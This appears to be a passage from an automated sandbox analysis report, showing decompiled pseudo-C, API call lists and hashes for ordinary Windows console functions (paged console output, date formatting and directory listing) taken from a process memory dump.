Opcode ID: 9e6e358149aca4353a27f7333986c6aacdeb9a3deeeca027c184cfefe95254f7
Instruction ID: 86ce2ca8e34b7c4e096330055cc183e38846eb3b31e90500e6b2a938df52163b
Opcode Fuzzy Hash: 9e6e358149aca4353a27f7333986c6aacdeb9a3deeeca027c184cfefe95254f7
Instruction Fuzzy Hash: 1C129DB02083419BDB24EB28C885B6FB7E5FF88304F14492DF689D7292EB34D955CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0087C5CA, Relevance: 30.2, APIs: 20, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0087C5CA(void* __ecx, long __edx, void* _a4, signed int _a8) {
				signed int _v8;
				short _v16;
				short _v20;
				signed int _v26;
				struct _CONSOLE_SCREEN_BUFFER_INFO _v32;
				signed int _v50;
				struct _CONSOLE_SCREEN_BUFFER_INFO _v56;
				long _v60;
				signed int _v64;
				void* _v68;
				long _v72;
				long _v76;
				long _v80;
				intOrPtr _v84;
				char _v88;
				void* _v108;
				long _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				void* _t66;
				long _t68;
				long _t71;
				char* _t81;
				long _t85;
				intOrPtr _t88;
				signed int _t91;
				long _t93;
				long _t95;
				signed short _t100;
				struct _COORD _t105;
				void* _t114;
				void* _t115;
				long _t119;
				long _t122;
				signed int _t125;
				long _t128;
				void* _t138;
				void* _t141;
				void* _t143;
				signed int _t150;

				_t63 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t63 ^ _t150;
				_v64 = _a8;
				_t141 = __ecx;
				_v76 = __edx;
				_t137 = 0;
				_v72 = 0;
				_t66 = E0088269C(_a8);
				if(_t66 == 0) {
					L13:
					_t114 = 0;
				} else {
					__imp___get_osfhandle(__edx);
					_t114 = _t66;
					if(GetConsoleScreenBufferInfo(_t114,  &_v32) == 0) {
						goto L13;
					} else {
						_t137 = _v16 - _v20 - 1;
						_v72 = _t137;
					}
				}
				_v60 = _v60 & 0x00000000;
				_t119 = E0087C6F4(_t141, _a4, _v64);
				_t133 = 0x8ab980;
				_v64 = _t119;
				_t142 = _t119;
				_v68 = 0x8ab980;
				if(_t119 == 0) {
					_t68 = _v60;
					goto L11;
				} else {
					do {
						if(_t114 == 0) {
							_t119 = _v76;
							_t85 = E008827C8(_t142 + _t142, _t133, _t142 + _t142,  &_v88);
							__eflags = _t85;
							if(_t85 == 0) {
								L16:
								_t68 = GetLastError();
								_v60 = _t68;
								break;
							} else {
								__eflags = _v88 - _t142 + _t142;
								if(_v88 == _t142 + _t142) {
									goto L9;
								} else {
									goto L16;
								}
							}
						} else {
							if( *0x8b8065 != 0) {
								_t128 =  *0x8b851c;
								__eflags = _t128 - _t137;
								if(_t128 < _t137) {
									L33:
									_t143 = _t133;
									_t88 = _t133 + _v64 * 2;
									_v84 = _t88;
									__eflags = _t133 - _t88;
									if(_t133 < _t88) {
										while(1) {
											__eflags = _t128 - _t137;
											if(_t128 >= _t137) {
												break;
											}
											_t91 =  *_t143 & 0x0000ffff;
											_t143 = _t143 + 2;
											__eflags = _t91 - 0xa;
											if(_t91 == 0xa) {
												_t128 = _t128 + 1;
												__eflags = _t128;
											}
											__eflags = _t143 - _v84;
											if(_t143 < _v84) {
												continue;
											}
											break;
										}
										 *0x8b851c = _t128;
									}
									_t142 = _t143 - _t133 >> 1;
									goto L8;
								} else {
									 *0x8b851c = 0;
									_t93 = GetConsoleScreenBufferInfo(_t114,  &_v32);
									__eflags = _t93;
									if(_t93 == 0) {
										L32:
										_t128 =  *0x8b851c;
										_t133 = _v68;
										goto L33;
									} else {
										_t95 = WriteConsoleW(_t114,  *0x8b8518,  *0x8b8514,  &_v60, 0);
										__eflags = _t95;
										if(_t95 == 0) {
											goto L32;
										} else {
											FlushConsoleInputBuffer(GetStdHandle(0xfffffff6));
											GetConsoleMode(_t114,  &_v80);
											_t100 = SetConsoleMode(_t114, 0);
											__imp___getch();
											_t137 = _t100 & 0x0000ffff;
											SetConsoleMode(_t114, _v80);
											GetConsoleScreenBufferInfo(_t114,  &_v56);
											_t133 = _v32.dwSize * _v26;
											_push( &_v60);
											_t105 = _v32.dwCursorPosition;
											_push(_t105);
											_t142 = _v56.dwSize * _v50 - _v32.dwSize * _v26 + _t105 + _v56.dwCursorPosition;
											_push(_v56.dwSize * _v50 - _v32.dwSize * _v26 + _t105 + _v56.dwCursorPosition);
											_push(0x20);
											_push(_t114);
											FillConsoleOutputCharacterW();
											SetConsoleCursorPosition(_t114, _v32.dwCursorPosition);
											__eflags = (_t100 & 0x0000ffff) - 3;
											if((_t100 & 0x0000ffff) == 3) {
												EnterCriticalSection( *0x8a3858);
												 *0x89d544 = 1;
												LeaveCriticalSection( *0x8a3858);
												_t68 = 0;
												L12:
												return E00886FD0(_t68, _t114, _v8 ^ _t150, _t133, _t137, _t142);
											} else {
												_t137 = _v72;
												goto L32;
											}
										}
									}
								}
							} else {
								_t142 = 0xa0;
								if(_t119 <= 0xa0) {
									_t142 = _t119;
								}
								L8:
								if(WriteConsoleW(_t114, _t133, _t142,  &_v60, 0) == 0) {
									_t68 = GetLastError();
								} else {
									L9:
									_t68 = 0;
								}
								goto L10;
							}
						}
						goto L55;
						L10:
						_t119 = _v64 - _t142;
						_v60 = _t68;
						_v64 = _t119;
						_t133 = _v68 + _t142 * 2;
						_v68 = _t133;
					} while (_t119 != 0);
					L11:
					if(_t68 != 0) {
						__eflags = _v76 - 2;
						if(__eflags != 0) {
							goto L12;
						} else {
							do {
								__eflags = E00884B60(__eflags, 0);
							} while (__eflags == 0);
							exit(1);
							asm("int3");
							while(1) {
								L44:
								__eflags = _t133 - _t114;
								if(_t133 == _t114) {
									_t119 = _t119 + 2;
								}
								while(1) {
									_t134 = _t114;
									_t71 = E0087D7D4(_t119, _t114);
									_t122 = _t71;
									__eflags = _t122;
									if(_t122 == 0) {
										break;
									}
									_t119 = _t122 + 2;
									_t133 =  *_t119 & 0x0000ffff;
									__eflags = _t133 - 0x31 - 8;
									if(_t133 - 0x31 > 8) {
										goto L44;
									} else {
										_t142 = _t142 + 1;
										continue;
									}
									L24:
									__eflags = _v8 ^ _t150;
									return E00886FD0(_t76, _t115, _v8 ^ _t150, _t134, _t137, _t142);
									goto L55;
								}
								_t115 = _v108;
								__eflags = _t142 - _a4;
								if(_t142 > _a4) {
									_t115 = HeapAlloc(GetProcessHeap(), 0, _t142 << 2);
									__eflags = _t115;
									if(_t115 != 0) {
										_t125 = 0;
										__eflags = _t142;
										if(_t142 != 0) {
											_t138 = _v108;
											_t134 = _a4;
											do {
												__eflags = _t125 - _t134;
												if(_t125 >= _t134) {
													_t81 = " ";
												} else {
													 *_t138 =  *_t138 + 4;
													_t81 =  *( *_t138 - 4);
												}
												 *(_t115 + _t125 * 4) = _t81;
												_t125 = _t125 + 1;
												__eflags = _t125 - _t142;
											} while (_t125 < _t142);
											_t137 = _v112;
										}
										_t142 = FormatMessageW(0x3800, 0, _t137, 0, 0x8ab980, 0x2000, _t115);
										RtlFreeHeap(GetProcessHeap(), 0, _t115);
										goto L23;
									}
								} else {
									_push(_t115);
									_push(0x2000);
									_push(0x8ab980);
									_push(_t71);
									_push(_t137);
									_push(_t71);
									_push(0x1800);
									_t142 = FormatMessageW();
									L23:
									_t76 = _t142;
								}
								goto L24;
							}
						}
					} else {
						goto L12;
					}
				}
				L55:
			}

0x0087c5d2
0x0087c5d9
0x0087c5e3
0x0087c5e7
0x0087c5e9
0x0087c5ec
0x0087c5f0
0x0087c5f3
0x0087c5fa
0x0087c6b9
0x0087c6b9
0x0087c600
0x0087c601
0x0087c607
0x0087c617
0x00000000
0x0087c61d
0x0087c627
0x0087c628
0x0087c628
0x0087c617
0x0087c62e
0x0087c63c
0x0087c63e
0x0087c643
0x0087c646
0x0087c648
0x0087c64d
0x0087c6ef
0x00000000
0x0087c653
0x0087c653
0x0087c655
0x0087c6c4
0x0087c6cb
0x0087c6d0
0x0087c6d2
0x0087c6dc
0x0087c6dc
0x0087c6e2
0x00000000
0x0087c6d4
0x0087c6d7
0x0087c6da
0x00000000
0x00000000
0x00000000
0x00000000
0x0087c6da
0x0087c657
0x0087c65e
0x0088ad2a
0x0088ad30
0x0088ad32
0x0088ae01
0x0088ae04
0x0088ae06
0x0088ae09
0x0088ae0c
0x0088ae0e
0x0088ae10
0x0088ae10
0x0088ae12
0x00000000
0x00000000
0x0088ae14
0x0088ae17
0x0088ae1a
0x0088ae1d
0x0088ae1f
0x0088ae1f
0x0088ae1f
0x0088ae20
0x0088ae23
0x00000000
0x00000000
0x00000000
0x0088ae23
0x0088ae25
0x0088ae25
0x0088ae2d
0x00000000
0x0088ad38
0x0088ad3f
0x0088ad45
0x0088ad4b
0x0088ad4d
0x0088adf8
0x0088adf8
0x0088adfe
0x00000000
0x0088ad53
0x0088ad65
0x0088ad6b
0x0088ad6d
0x00000000
0x0088ad73
0x0088ad7c
0x0088ad87
0x0088ad8f
0x0088ad95
0x0088ad9e
0x0088ada2
0x0088adad
0x0088adc2
0x0088adc9
0x0088adca
0x0088add0
0x0088adda
0x0088addc
0x0088addd
0x0088addf
0x0088ade0
0x0088adea
0x0088adf0
0x0088adf3
0x0088ae3a
0x0088ae46
0x0088ae50
0x0088ae56
0x0087c6a6
0x0087c6b6
0x0088adf5
0x0088adf5
0x00000000
0x0088adf5
0x0088adf3
0x0088ad6d
0x0088ad4d
0x0087c664
0x0087c664
0x0087c66f
0x0087c671
0x0087c671
0x0087c673
0x0087c684
0x0087c6e7
0x0087c686
0x0087c686
0x0087c686
0x0087c686
0x00000000
0x0087c684
0x0087c65e
0x00000000
0x0087c688
0x0087c68e
0x0087c690
0x0087c693
0x0087c696
0x0087c699
0x0087c699
0x0087c69e
0x0087c6a0
0x0088ae5d
0x0088ae61
0x00000000
0x0088ae67
0x0088ae67
0x0088ae6e
0x0088ae6e
0x0088ae74
0x0088ae7a
0x0088ae7b
0x0088ae7b
0x0088ae7b
0x0088ae7e
0x0088ae84
0x0088ae84
0x0087c74b
0x0087c74b
0x0087c74d
0x0087c752
0x0087c754
0x0087c756
0x00000000
0x00000000
0x0087c794
0x0087c797
0x0087c79d
0x0087c7a1
0x00000000
0x0087c7a7
0x0087c7a7
0x00000000
0x0087c7a7
0x0087c781
0x0087c786
0x0087c791
0x00000000
0x0087c791
0x0087c758
0x0087c75b
0x0087c75e
0x0088aea1
0x0088aea3
0x0088aea5
0x0088aeab
0x0088aead
0x0088aeaf
0x0088aeb1
0x0088aeb4
0x0088aeb7
0x0088aeb7
0x0088aeb9
0x0088aec5
0x0088aebb
0x0088aebb
0x0088aec0
0x0088aec0
0x0088aeca
0x0088aecd
0x0088aece
0x0088aece
0x0088aed2
0x0088aed2
0x0088aef3
0x0088aefc
0x00000000
0x0088aefc
0x0087c764
0x0087c764
0x0087c765
0x0087c76a
0x0087c76f
0x0087c770
0x0087c771
0x0087c772
0x0087c77d
0x0087c77f
0x0087c77f
0x0087c77f
0x00000000
0x0087c75e
0x0088ae7b
0x00000000
0x00000000
0x00000000
0x0087c6a0
0x00000000

APIs

Part of subcall function 0088269C: _get_osfhandle.MSVCRT ref: 008826A7
Part of subcall function 0088269C: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,0087C5F8,?,?,?), ref: 008826B6
Part of subcall function 0088269C: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826D2
Part of subcall function 0088269C: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,00000002), ref: 008826E1
Part of subcall function 0088269C: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 008826EC
Part of subcall function 0088269C: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 008826F5

_get_osfhandle.MSVCRT ref: 0087C601
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,0087C5C6,?,?,?,?,?,?,?,?,?,?,?,?,?,0087C5C6), ref: 0087C60F
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,008AB980,000000A0,00000000,00000000,?,?,?,?,?), ref: 0087C67C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,?,?,?,?,?), ref: 0087C6DC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087C6E7

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console$ErrorLastLockShared_get_osfhandle$AcquireBufferFileHandleInfoModeReleaseScreenTypeWrite
String ID:
API String ID: 2173784998-0
Opcode ID: 77f33de32543a186bcd9a54f10a0176242c75ad0167929afa44e09b52f0846e6
Instruction ID: 52f1bafaf8c06fc0cdb6aa4ab9f098729c3c4c15f53e34844ef449e41f55d619
Opcode Fuzzy Hash: 77f33de32543a186bcd9a54f10a0176242c75ad0167929afa44e09b52f0846e6
Instruction Fuzzy Hash: EB817F71A00218AFDB24EFA5DC84AAEBBB9FB58311F14452EF906E7150EB349D41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00875AEF, Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 367
timeCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00875AEF(void* __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				char _v76;
				short _v332;
				signed short _v342;
				signed short _v344;
				signed short _v346;
				struct _SYSTEMTIME _v348;
				int _v352;
				int _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				signed int _v368;
				struct _FILETIME _v376;
				struct _FILETIME _v384;
				void _v420;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t78;
				intOrPtr _t89;
				void* _t90;
				signed int _t96;
				signed int _t97;
				void* _t100;
				void* _t101;
				void* _t110;
				void* _t111;
				signed short _t118;
				long _t128;
				short* _t130;
				void* _t136;
				signed int _t139;
				void* _t143;
				void _t145;
				void _t149;
				signed int _t157;
				signed int _t159;
				signed int _t161;
				int _t164;
				void* _t172;
				signed int _t173;
				signed int _t181;
				signed int _t185;
				void* _t186;
				void* _t189;
				intOrPtr _t197;
				signed int _t202;
				void* _t206;
				void* _t210;
				void* _t211;
				signed int _t212;
				void* _t213;

				_t78 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t78 ^ _t212;
				_t157 = _a4;
				_v364 = __edx;
				_v368 = _t157;
				_v360 = 1;
				if(__ecx != 0) {
					_t161 = 9;
					memcpy( &_v420, __ecx, _t161 << 2);
					_t213 = _t213 + 0xc;
					E00893C49( &_v420,  &_v376);
				} else {
					GetSystemTime( &_v348);
					SystemTimeToFileTime( &_v348,  &_v376);
				}
				FileTimeToLocalFileTime( &_v376,  &_v384);
				FileTimeToSystemTime( &_v384,  &_v348);
				_v352 = 0;
				if( *0x8b3cc9 == 0) {
					_t194 = _v348 & 0x0000ffff;
					_t208 = _v346 & 0x0000ffff;
					_t206 = _v342 & 0x0000ffff;
					_v352 = _t194;
					if(_v364 == 0) {
						_t181 = 0x64;
						_t194 = _t194 % _t181;
						_v352 = _t194;
					}
					_t89 =  *0x89d540; // 0x0
					if(_t89 != 2) {
						if(_t89 == 1) {
							_t110 = _t208;
							_t208 = _t206;
							_t206 = _t110;
						}
					} else {
						_t111 = _t194;
						_t194 = _t206;
						_t206 = _t208;
						_v352 = _t194;
						_t208 = _t111;
					}
					_t164 =  *0x89d598; // 0x0
					if(_t164 >= 0x20) {
						_t90 =  *0x89d594; // 0x0
						goto L63;
					} else {
						_t90 = realloc( *0x89d594, 0x40);
						_pop(0);
						if(_t90 != 0) {
							_t194 = _v352;
							_t164 = 0x20;
							 *0x89d594 = _t90;
							 *0x89d598 = _t164;
							L63:
							_push(_t194);
							_push(0x89f80c);
							_push(_t206);
							_push(0x89f80c);
							E0088274C(_t90, _t164, L"%02d%s%02d%s%02d", _t208);
							_t213 = _t213 + 0x20;
							_t206 = 2;
							goto L35;
						}
						_push(_t90);
						goto L50;
					}
				} else {
					_v356 = 0;
					if(GetLocaleInfoW(E008841A4(), 0x1f,  &_v332, 0x80) == 0) {
						_t194 = 0x80;
						E00881040( &_v332, 0x80,  *0x89f7f8);
					}
					_t118 = _v332;
					_t210 =  &_v332;
					_t206 = 2;
					if(_t118 == 0) {
						L13:
						if(GetDateFormatW(E008841A4(), 0,  &_v348,  &_v332,  *0x89d594,  *0x89d598) == 0) {
							L32:
							_t208 = GetDateFormatW(E008841A4(), 0,  &_v348,  &_v332, 0, 0);
							if(_t208 == 0) {
								_t128 = GetLastError();
								_push(0);
								L48:
								 *0x8b3cf0 = _t128;
								_push(_t128);
								L51:
								E0087C5A2(0);
								_t97 = 0;
								L25:
								return E00886FD0(_t97, _t157, _v8 ^ _t212, _t194, _t206, _t208);
							}
							_t208 = _t208 + 1;
							_t130 = realloc( *0x89d594, _t208 + _t208);
							_pop(0);
							if(_t130 == 0) {
								_push(0);
								L50:
								_push(8);
								goto L51;
							}
							 *0x89d594 = _t130;
							 *0x89d598 = _t208;
							_t208 = 0;
							if(GetDateFormatW(E008841A4(), 0,  &_v348,  &_v332, _t130, 0) == 0) {
								_t128 = GetLastError();
								_push(0);
								goto L48;
							}
							L35:
							_t208 =  *0x89d594; // 0x0
							L15:
							_push(E00875AA7(_v344 & 0x0000ffff));
							_t194 = 0x20;
							E00881040( &_v76, _t194);
							if(_t157 == 0) {
								if(_v360 != 0) {
									if(E008768B5() == 0) {
										_push(_t208);
										_push( &_v76);
									} else {
										_push( &_v76);
										_push(_t208);
									}
									_t96 = E008825D9(L"%s %s ");
								} else {
									_push(_t208);
									_t96 = E008825D9(L"%s ");
								}
								_t157 = _t96;
								L24:
								_t97 = _t157;
								goto L25;
							}
							if(_v360 == 0 || _v364 != 1) {
								E00881040(_t157, _a8, _t208);
							} else {
								_t101 = E008768B5();
								_t197 = _a8;
								_t173 = _t157;
								if(_t101 != 0) {
									E00881040(_t173, _t197, _t208);
									E008818C0(_t157, _a8, " ");
									_push( &_v76);
								} else {
									E00881040(_t173, _t197,  &_v76);
									E008818C0(_t157, _a8, " ");
									_push(_t208);
								}
								E008818C0(_t157, _a8);
							}
							_t172 = _t157 + 2;
							_t194 = 0;
							do {
								_t100 =  *_t157;
								_t157 = _t206 + _t157;
							} while (_t100 != 0);
							_t157 = _t157 - _t172 >> 1;
							goto L24;
						}
						_t208 =  *0x89d594; // 0x0
						if(_t208 == 0) {
							goto L32;
						}
						goto L15;
					} else {
						_t159 = _v356;
						_t185 = _t118 & 0x0000ffff;
						_t136 = 0x64;
						do {
							if(_t185 == 0x27) {
								_t210 = _t210 + _t206;
								_t159 = 0 | _t159 == 0x00000000;
								goto L11;
							}
							if(_t159 != 0 || _t185 != _t136 && _t185 != 0x4d) {
								_t210 = _t210 + _t206;
							} else {
								_t202 = 0;
								do {
									_t210 = _t210 + _t206;
									_t202 = _t202 + 1;
								} while ( *_t210 == _t185);
								_v356 = _t210;
								_t211 = _t210 +  ~_t202 * 2;
								if(_t202 != 1) {
									_t143 = 0x64;
									if(_t185 == _t143) {
										_v360 = 0;
									}
									if(_t202 <= 3) {
										_t210 = _v356;
									} else {
										_t194 = _v356;
										_t186 = _t194;
										_v356 = _t186 + 2;
										do {
											_t145 =  *_t186;
											_t186 = _t186 + _t206;
										} while (_t145 != _v352);
										_t210 = _t211 + 6;
										memmove(_t210, _t194, 2 + (_t186 - _v356 >> 1) * 2);
										_t213 = _t213 + 0xc;
									}
									goto L11;
								}
								_t189 = _t211;
								_t194 = _t189 + 2;
								do {
									_t149 =  *_t189;
									_t189 = _t189 + _t206;
								} while (_t149 != _v352);
								memmove(_t211 + 2, _t211, 2 + (_t189 - _t194 >> 1) * 2);
								_t213 = _t213 + 0xc;
								_t210 = _t211 + 4;
							}
							L11:
							_t139 =  *_t210 & 0x0000ffff;
							_t185 = _t139;
							_t136 = 0x64;
						} while (_t139 != 0);
						_t157 = _v368;
						goto L13;
					}
				}
			}

0x00875afa
0x00875b01
0x00875b05
0x00875b0b
0x00875b11
0x00875b17
0x00875b24
0x00889ae4
0x00889aeb
0x00889aeb
0x00889af9
0x00875b2a
0x00875b31
0x00875b45
0x00875b45
0x00875b59
0x00875b6d
0x00875b75
0x00875b81
0x00889bba
0x00889bc1
0x00889bc8
0x00889bcf
0x00889bdb
0x00889be3
0x00889be4
0x00889be6
0x00889be6
0x00889bec
0x00889bf4
0x00889c09
0x00889c0b
0x00889c0d
0x00889c0f
0x00889c0f
0x00889bf6
0x00889bf6
0x00889bf8
0x00889bfa
0x00889bfc
0x00889c02
0x00889c02
0x00889c11
0x00889c1a
0x00889c4c
0x00000000
0x00889c1c
0x00889c24
0x00889c2b
0x00889c2e
0x00889c36
0x00889c3e
0x00889c3f
0x00889c44
0x00889c51
0x00889c51
0x00889c57
0x00889c58
0x00889c59
0x00889c62
0x00889c67
0x00889c6c
0x00000000
0x00889c6c
0x00889c30
0x00000000
0x00889c30
0x00875b87
0x00875b87
0x00875baa
0x00889b09
0x00889b11
0x00889b11
0x00875bb0
0x00875bb7
0x00875bbf
0x00875bc3
0x00875c07
0x00875c32
0x00875d34
0x00875d53
0x00875d57
0x00889b8d
0x00889b95
0x00889b9f
0x00889b9f
0x00889ba4
0x00889bac
0x00889bac
0x00889bb3
0x00875cca
0x00875cda
0x00875cda
0x00875d5d
0x00875d68
0x00875d6f
0x00875d72
0x00889ba9
0x00889baa
0x00889baa
0x00000000
0x00889baa
0x00875d7a
0x00875d8c
0x00875d93
0x00875da4
0x00889b98
0x00889b9e
0x00000000
0x00889b9e
0x00875daa
0x00875daa
0x00875c46
0x00875c52
0x00875c55
0x00875c59
0x00875c60
0x00889c79
0x00889c94
0x00889c9a
0x00889c9b
0x00889c96
0x00889c96
0x00889c97
0x00889c97
0x00889ca1
0x00889c7b
0x00889c7b
0x00889c81
0x00889c87
0x00889ca9
0x00875cc8
0x00875cc8
0x00000000
0x00875cc8
0x00875c6d
0x00889cd4
0x00875c80
0x00875c80
0x00875c85
0x00875c88
0x00875c8c
0x00889cb1
0x00889cc0
0x00889cc8
0x00875c92
0x00875c96
0x00875ca5
0x00875caa
0x00875caa
0x00875cb0
0x00875cb0
0x00875cb5
0x00875cb8
0x00875cba
0x00875cba
0x00875cbd
0x00875cbf
0x00875cc6
0x00000000
0x00875cc6
0x00875c38
0x00875c40
0x00000000
0x00000000
0x00000000
0x00875bc5
0x00875bc5
0x00875bcd
0x00875bd0
0x00875bd1
0x00875bd5
0x00889b1d
0x00889b24
0x00000000
0x00889b24
0x00875bdd
0x00875bf2
0x00875cdd
0x00875cdf
0x00875ce1
0x00875ce1
0x00875ce3
0x00875ce4
0x00875ceb
0x00875cf3
0x00875cf9
0x00889b2d
0x00889b31
0x00889b35
0x00889b35
0x00889b3e
0x00889b82
0x00889b40
0x00889b40
0x00889b46
0x00889b4b
0x00889b51
0x00889b51
0x00889b54
0x00889b56
0x00889b65
0x00889b74
0x00889b7a
0x00889b7a
0x00000000
0x00889b3e
0x00875cff
0x00875d01
0x00875d04
0x00875d04
0x00875d07
0x00875d09
0x00875d23
0x00875d29
0x00875d2c
0x00875d2c
0x00875bf4
0x00875bf4
0x00875bf9
0x00875bfe
0x00875bfe
0x00875c01
0x00000000
0x00875c01
0x00875bc3

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,0089F830,?,00002000), ref: 00875B31
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00875B45
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 00875B59
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00875B6D
realloc.MSVCRT ref: 00889C24

Part of subcall function 008841A4: GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00875BA1,0000001F,?,00000080), ref: 008841A4

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001F,?,00000080), ref: 00875BA2
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?), ref: 00875C2A
memmove.MSVCRT ref: 00875D23
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?,00000000,00000000), ref: 00875D4D
realloc.MSVCRT ref: 00875D68
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000000,?,?,00000000,00000001), ref: 00875D9C

Strings

%02d%s%02d%s%02d, xrefs: 00889C5B
%s , xrefs: 00889C7C
%s %s , xrefs: 00889C9C

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Time$File$DateFormatSystem$realloc$DefaultInfoLocalLocaleUsermemmove
String ID: %02d%s%02d%s%02d$%s $%s %s
API String ID: 2927284792-4023967598
Opcode ID: 3767b5e8c0d87aa7dbbbb349ec5781df3818d1b0af69c9dbb60747c233749b3d
Instruction ID: 31aa17681ce4ddae44f7fcac1a5b57c5ce0a727755d3f1bc0dd5071a903fda47
Opcode Fuzzy Hash: 3767b5e8c0d87aa7dbbbb349ec5781df3818d1b0af69c9dbb60747c233749b3d
Instruction Fuzzy Hash: D8C12871A006289FDF20EF54DC49AFE77B9FB88314F184166E94DE7244DA719E81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 008785EA, Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 378
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E008785EA(WCHAR* __ecx, long __edx) {
				signed int _v8;
				int _v20;
				char _v24;
				int _v28;
				void _v548;
				struct _WIN32_FIND_DATAW _v1140;
				WCHAR* _v1144;
				long _v1148;
				void* _v1152;
				char _v1156;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t104;
				short _t117;
				void* _t121;
				signed int _t122;
				signed int _t124;
				WCHAR* _t126;
				void* _t127;
				void* _t130;
				WCHAR* _t136;
				intOrPtr _t139;
				WCHAR* _t140;
				WCHAR* _t144;
				intOrPtr _t147;
				WCHAR* _t151;
				WCHAR* _t153;
				WCHAR* _t158;
				WCHAR* _t159;
				long _t160;
				long _t162;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				signed int _t167;
				WCHAR* _t168;
				WCHAR* _t169;
				void* _t173;
				void* _t177;
				long _t178;
				void* _t179;
				void* _t180;
				short* _t186;
				signed int _t188;
				long _t192;
				signed int _t193;
				signed int _t194;
				intOrPtr* _t197;
				signed int _t198;
				signed int _t199;
				intOrPtr* _t203;
				signed int _t205;
				WCHAR* _t207;
				char* _t208;
				char* _t209;
				long _t214;
				signed int _t220;
				WCHAR* _t221;
				signed int _t222;
				long _t223;
				signed int _t224;
				void* _t225;
				void* _t226;
				void* _t241;
				void* _t260;

				_t217 = __edx;
				_t104 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t104 ^ _t224;
				_v24 = 1;
				_t223 = 0;
				_v20 = 0x104;
				_v28 = 0;
				_t220 = __edx;
				_t176 = __ecx;
				_v1148 = __edx;
				_v1144 = __ecx;
				memset( &_v548, 0, 0x104);
				_t226 = _t225 + 0xc;
				if(E00880C70( &_v548, ((0 | _v24 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0) {
					_t223 = 8;
					goto L43;
				} else {
					 *_t220 = 1;
					_t221 = _t176;
					_t186 =  &(_t221[1]);
					do {
						_t117 =  *_t221;
						_t221 =  &(_t221[1]);
					} while (_t117 != 0);
					_t222 = _t221 - _t186;
					_t220 = _t222 >> 1;
					if(_t222 == 0) {
						_t223 = 0xa1;
						L43:
						__imp__??_V@YAXPAX@Z();
						return E00886FD0(_t223, _t176, _v8 ^ _t224, _t217, _t220, _t223, _v28);
					}
					if(_t220 + 3 > 0x7fe7) {
						L42:
						_t223 = E00878885(_t176);
						goto L43;
					}
					_t121 = FindFirstFileW(_t176,  &_v1140);
					if(_t121 == 0xffffffff) {
						_t122 = 0x10;
						_t188 = 0;
						_v1140.dwFileAttributes = _t122;
						_v1140.dwReserved0 = 0;
					} else {
						FindClose(_t121);
						_t188 = _v1140.dwReserved0;
						_t122 = _v1140.dwFileAttributes;
					}
					if((_t122 & 0x00000010) == 0) {
						goto L42;
					} else {
						if((_t122 & 0x00000400) != 0) {
							__eflags = _t188 & 0x20000000;
							if((_t188 & 0x20000000) != 0) {
								goto L42;
							}
						}
						E00880D89(_t217, _t176);
						_t124 =  *(_t176 + _t220 * 2 - 2) & 0x0000ffff;
						if(_t124 != 0x3a && _t124 != 0x5c) {
							E00880CF2(_t217, "\\");
							_t220 = _t220 + 1;
						}
						E00880CF2(_t217, "*");
						_t126 = _v28;
						if(_t126 == 0) {
							_t126 =  &_v548;
						}
						_t127 = FindFirstFileW(_t126,  &_v1140);
						_v1152 = _t127;
						if(_t127 == 0xffffffff) {
							goto L42;
						} else {
							while(1) {
								L14:
								_t241 =  *0x89d544 - _t223; // 0x0
								if(_t241 != 0) {
									break;
								}
								_t217 =  &(_v1140.cAlternateFileName);
								_t192 = _t217;
								_t177 = _t192 + 2;
								do {
									_t130 =  *_t192;
									_t192 = _t192 + 2;
